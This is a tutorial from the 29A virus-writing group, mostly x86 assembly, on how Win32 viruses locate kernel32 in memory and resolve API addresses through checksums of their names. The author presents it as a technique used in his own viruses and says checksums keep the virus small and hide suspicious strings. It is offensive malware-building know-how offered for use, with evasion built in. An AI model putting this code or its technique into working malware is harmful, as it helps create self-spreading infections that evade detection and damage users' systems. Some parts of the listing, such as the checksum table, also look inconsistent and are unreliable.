. . . . . .:: .:.. .. .:.::. :.:. <<-=млллллм.млллллм.млллллм==< .:ллл ллл:ллл ллл.ллл ллл::. :: .мммллп.плллллл:ллллллл .:. .:..лллмммм.ммммллл.ллл ллл.::.: .:>===ллллллл:ллллллп.ллл ллл==->> . ..: ::. . .:..Laboratories .:.. :.. ::.. RETRIEVING API'S ADRESSES ФФФФФФФФФФФФФФФФФФФФФ A guide to the latest methods to retrieve API's in a Win32 environment By LethalMind/29A E-Mail : LethalMind@hushmail.com л Introduction When I began working on Win32 viruses, it was not as easy at it is now. Lots of documentation was not here, and only a few people could answer your questions. One of the first things I looked for, being already at ease with C and some other high level languages, was how to use the API in a virus. And the first thing to do is find the addresses of these API. When I wrote my first W32 virus, Champagne, the only methods I knew were bad ones, like hardcoded addresses, or such incompatibles and unsafe methods... Now, building my second W32 virus, I think I've gotten to what I consider the "best" method out there. Some people may not like it, find it unsafe, etc... But I thought it would be great for me to share what *I* think is the best one with others. Also, this is my very first tutorial, so please be kind with me, and mail me any comment you might have to LethalMind@hushmail.com. Now let's start the fun! л What methods are you using in two words? Ok, retrieving the APIs involve two steps. One is to retrieve the address of the Kernel in memory, and the second step is to scan its export table to know where these API exactly are. Once you've done that, you're ready to play with whichever API you might want :) л Tell me how to get Kernel! First, a bit of theory: When the infected proggie is run, it gets called by CreateProcess. What does that means ?? That means that the stack has the return address in it. So only thing you got to do is to scan back in memory from that address (which we know to be inside the Kernel) until you're at the beginning of it. It's really easy, and yet a very powerful method, since it's short, compatible (I don't see HOW it could not be compatible :) and fast. And I also may say neat :) Now some code to illustrate this neat trick: 8<------------------------------ S N I P E T --------------------------------- KernelAdress dd ? StartOfYourVirus: mov ecx,[esp] ; Return adress of call from ; CreateProcess GetKrnlBaseLoop: ; Get Kernel32 module base adress xor edx,edx ; dec ecx ; Scan backward mov dx,[ecx+03ch] ; Take beginning of PE header test dx,0f800h ; Is it a PE header ? jnz GetKrnlBaseLoop ; No, forget about it cmp ecx,[ecx+edx+34h] ; Compare current adress with the ; address that PE should be loaded at jnz GetKrnlBaseLoop ; Different ? Search again mov [KernelAdress+ebp],ecx ; ecx hold KernelBase... Store it 8<---------------------------E N D - S N I P E T ----------------------------- л Now let's deal with export table I won't teach you here the structure of the export table. That can be found in almost every zine today. But I'll show you how I use it to get API by checksum. What is a checksum? A checksum is a number computed from a bigger one that identifies it, some kind of fingerprint. For example, let's take 1234 We could generate a checksum by adding all his numbers between them. So the checksum for 1234 would be 1+2+3+4 = 10. Now, if we see 1234, and we have its checksum, we can say that both match. But if it were 1235, 1+2+3+5= 11 and the checksum would not match. The checksum gives us a way to identify something without knowing it all. That is VERY useful, because to get API, we'd need to store those looonnnng names, and that would grow our viruses, and these strings are suspicious too. I've chosen a 32-bit checksum because it's more secure and doesn't take that much space, but I could have chosen a bigger or smaller one, the bigger it is, the least chance you have to mis-identify an API's name. Now, I think a snippet of code will be much more useful than a lot of talking. This routine is POOOOORLY optimized, but I think it's far more well commented than well optimized, and, hey, that's what matter in a tute :) 8<------------------------------ S N I P E T --------------------------------- mov eax,ecx ; EAX = KernelBase mov ebx,eax ; EBX = KernelBase add eax,[eax.MZ_lfanew] ; Get address of PE header mov esi,ebx ; Get address of Export ; directory add esi,[eax.NT_OptionalHeader \ .OH_DirectoryEntries \ .DE_Export \ .DD_VirtualAddress] mov edx,ebx ; Get address of exported add edx,[esi.ED_AddressOfNames] ; API names mov ecx,[esi.ED_NumberOfNames] ; Get number of exported xor eax,eax ; API names lea edi,WORD PTR [ebp+BeginAPIList] ; Point to beginning of list mov [SESI+ebp],esi ; Save some regs mov [SEAX+ebp],eax ; mov [SECX+ebp],ecx ; mov [SEBX+ebp],ebx ; mov [SEDX+ebp],edx ; Search_for_API_name: mov esi,ebx ; Get address of next exported add esi,[edx+eax*4] ; API name Next_API_name: pusha xor edx,edx mov edx,DWORD PTR[edi] ; Take the checksum add edi,4 ; Point To Next test edx,edx ; Is this checksum 0 ? jz EndAPIRetrieving ; Yeah, we're done with them LoopChsksm: xor eax,eax lodsb ; Take a char (ie : "X") shl ax,8 ; move it left (ie : "X_") sub edx,eax ; Substract that from checksum cmp ax,0 ; Is the char 0 ? jz LoopConti ; Yes, check if checksum too xor ax,ax ; lodsb ; Load another char (ie : "Y") sub edx,eax ; Substract that from checksum cmp ax,0 ; Is the char 0 ? jnz LoopChsksm ; No, Continue looping LoopConti: test edx,edx ; Have we zeroed our checksum ? jz FoundAPI ; YES, we have found the right API popa ; inc eax ; Nope, next name.... loop Search_for_API_name FoundAPI: popa mov esi,[SESI+ebp] mov edx,ebx ; Get address of exp. API ordinal add edx,[esi.ED_AddressOfOrdinals] movzx eax,word ptr [edx+eax*2] ; Get index into exp.API functions Check_Index: mov edx,ebx ; Get address of exported API function add edx,[esi.ED_AddressOfFunctions] add ebx,[edx+eax*4] ; Get address of requested API function mov eax,ebx ; End_GetProcAddressET: add edi,4 stosd ; Save API's adress into our array mov eax,[SEAX+ebp] ; Restore some regs mov ebx,[SEBX+ebp] ; mov ecx,[SECX+ebp] ; mov edx,[SEDX+ebp] ; jmp Search_for_API_name ; Next Name SESI dd 0 SEAX dd 0 SECX dd 0 SEBX dd 0 SEDX dd 0 BeginAPIList: sCloseHandle dd 'Cl'+'os'+'eH'+'an'+'dl'+'e'*100h aCloseHandle dd 0 sCreateFileA dd 'Cr'+'ea'+'te'+'Fi'+'le'+'A'*100h aCreateFileA dd 0 sCreateFileMappingA dd 'Cr'+'ea'+'te'+'Fi'+'le'+'Ma'+'pp'+'in'+'gA' aCreateFileMappingA dd 0 dd 0 8<---------------------------E N D - S N I P E T ----------------------------- л Conclusion So this method is pretty easy to understand once you've understood export table's structure. It use NO bug or anything like this so it is very compatible. To me, it's the neatest way of retrieving API's address, but if anyone think he has a better method, don't say my tutorial sucks, mail me and tell me about it so I may perhaps learn something :)